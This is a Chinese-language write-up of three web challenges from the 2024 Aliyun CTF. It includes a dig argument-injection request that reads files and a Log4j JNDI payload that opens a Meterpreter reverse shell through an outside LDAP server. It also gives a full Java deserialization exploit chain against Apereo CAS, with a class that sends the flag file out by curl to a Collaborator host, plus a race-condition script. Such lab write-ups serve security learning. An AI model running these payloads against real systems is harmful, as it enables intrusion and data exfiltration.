0%

2024aliyunctf-web-writeup

2024Aliyun-ctf-web writeup

前言

又是周末比赛,希望以后的CTF组织者都搞到周中 这样在公司上班就能打比赛,本来也是公司要求参与的。这次web题目难度还行,其他的题目没怎么做。所以还是只写web的题目了,记录下。

题目

web签到

image-20240326101813236

一看就是查询dns的,抓包:

image-20240326101851988

很有可能是dig命令,最终将结果base64返回并输出,探测了很长时间domain发现过滤的非常严格。后续在type处注入,也大量的字符转义。翻阅dig参数 有一个-f读取文件,直接读根目录flag。

1
{"domain":"baidu.com","type":"-f/flag"}

easyCAS

解法1

username处存在log4j,使用burp自带的dnslog探测确实存在。使用JNDIExploit 直接利用tomcatbypass模块反弹shell到metepreter:

先开启ldap

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip 39.105.56.145 --ldapPort 8881

再发送请求

username=${jndi:ldap://1.1.1.1:8881/TomcatBypass/Meterpreter/1.1.1.1/8884}

image-20240326151324753

标准解法

我猜测这个可能是官方想要的考点,否则log4j打太无脑了。

查阅资料发现默认的用户名是 casuser,密码是 Mellon

http://web3.aliyunctf.com:23723//login?service=http%3A%2F%2Fweb3.aliyunctf.com%3A23723%2Fstatus%2Fheapdump

通过上述链接下载heapdump。直接去访问直接跳转127.0.0.1了。

我们先分析题目,说的是5.x以后就没有问题了吗?我们都知道4.x有反序列化的问题,类似shiro有默认key,直接打反序列化的gadgets。现在5.x的key不是默认了,但是我们有heapdump,IDEA打开查询对应可以:

org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor

先写一个危险类执行命令,test.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package aliyunCTF_Easy_Cas;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class test extends AbstractTranslet {
public test() throws IOException {
super();
String result = execCommand("cat /flag.txt").trim();
String command = "curl "+Base64.getEncoder().encodeToString(result.getBytes()).replaceAll("=+$", "") +".244uevo5icza8bg0mu6m4krtekki87.burpcollaborator.net";
execCommand(command);
//Runtime.getRuntime().exec("bash -c 'curl `whoami`.jwjb6cgmatrr0s8heby3w1ja61cw0l.burpcollaborator.net'");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
private static String execCommand(String command) throws IOException {
StringBuffer output = new StringBuffer();
Process process = Runtime.getRuntime().exec(command);

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line + "\n");
}
return output.toString();
}
}

然后我们结合CB1NOCC反序列化链,构造一个反序列化并利用上面拿到的key加密(直接看网上的分析文章把加密部分扒了过来组合)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package aliyunCTF_Easy_Cas;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.serialize.Serializer;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.zip.GZIPOutputStream;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import org.apache.commons.beanutils.BeanComparator;

import javax.crypto.spec.SecretKeySpec;

public class attackAeperoCas {

public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {

// 构造CB1nocc链接
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(test.class.getName());
byte[] code = clazz.toBytecode();
TemplatesImpl ti =new TemplatesImpl();
setFieldValue(ti,"_bytecodes",new byte[][]{code});
setFieldValue(ti, "_name", "eval");
final BeanComparator bc = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> pq = new PriorityQueue<Object>(2,bc);
pq.add("1");
pq.add("1");
setFieldValue(bc,"property","outputProperties");
setFieldValue(pq,"queue",new Object[]{ti,ti});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();

//加密payload
byte[] skey = "CdsZkifxK9MfH9v0CJ-DJoEvJ3wPMNqUZ8AKoYFLSCwiQ4PGtuh90rN7-QzyaLdALxO3ZtNfgX_de7Pm7kd0Zg".getBytes();
byte[] ekey = new byte[]{56,62,-30,-91,93,25,105,-71,-92,-30,110,45,-27,44,89,-36};
SecretKeySpec enkey = new SecretKeySpec(ekey, "AES");
WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);

//这里用setfield 因为setfield我们编写类可以设置父类的属性
setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);

System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(barr.toByteArray()))));


}
public static byte[] compressString(byte[] data) {
// 使用ByteArrayOutputStream来捕获压缩数据
try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) {
// 写入数据到GZIPOutputStream,它会处理压缩
gzipOS.write(data);
// 完成压缩数据的写入
gzipOS.close();
// 返回压缩后的字节数组
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
//得遍历父类设置对应属性。因为encryptionKey属于webflowConversationStateCipherExecutor父类的属性。
static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException {
try {
// 获取目标对象的类对象
Class<?> currentClass = targetObject.getClass();

// 循环遍历当前类及其父类,直到找到该字段或到达Object类
Field field = null;
while (currentClass != null) {
try {
field = currentClass.getDeclaredField(fieldName);
break; // 字段找到,退出循环
} catch (NoSuchFieldException e) {
// 当前类中没有该字段,继续在父类中查找
currentClass = currentClass.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy");
}
// 设置访问权限,允许访问私有字段
field.setAccessible(true);
// 设置新的字段值
field.set(targetObject, newValue);

} catch (IllegalAccessException e) {
e.printStackTrace();
}
}

}

直接DNS携带getshell

image-20240327222115754

这样可能才是这次考点,但是没想到这个环境有log4j直接就RCE了。

重点:CB1NOCC + 加密流程

Pastbin

直接条件竞争,代码直接chagpt就行😂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import asyncio
import aiohttp

async def fetch_url(session, url):
while True:
async with session.get(url) as response:
status = response.status
data = await response.text()
if "aliyunctf" in data:
print("------------------------------"+data)
#print(f"{url} => Status: {status}, Data: {data[:100]}") # 打印状态码和部分响应内容

async def main():
urls = ['http://web2.aliyunctf.com:20518/about', 'http://web2.aliyunctf.com:20518/flag']

# 创建一个aiohttp的ClientSession实例
async with aiohttp.ClientSession() as session:
tasks = []
for url in urls:
for i in range(200):
tasks.append(fetch_url(session,url))
await asyncio.gather(*tasks)

# 运行主要的协程
asyncio.run(main())

采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」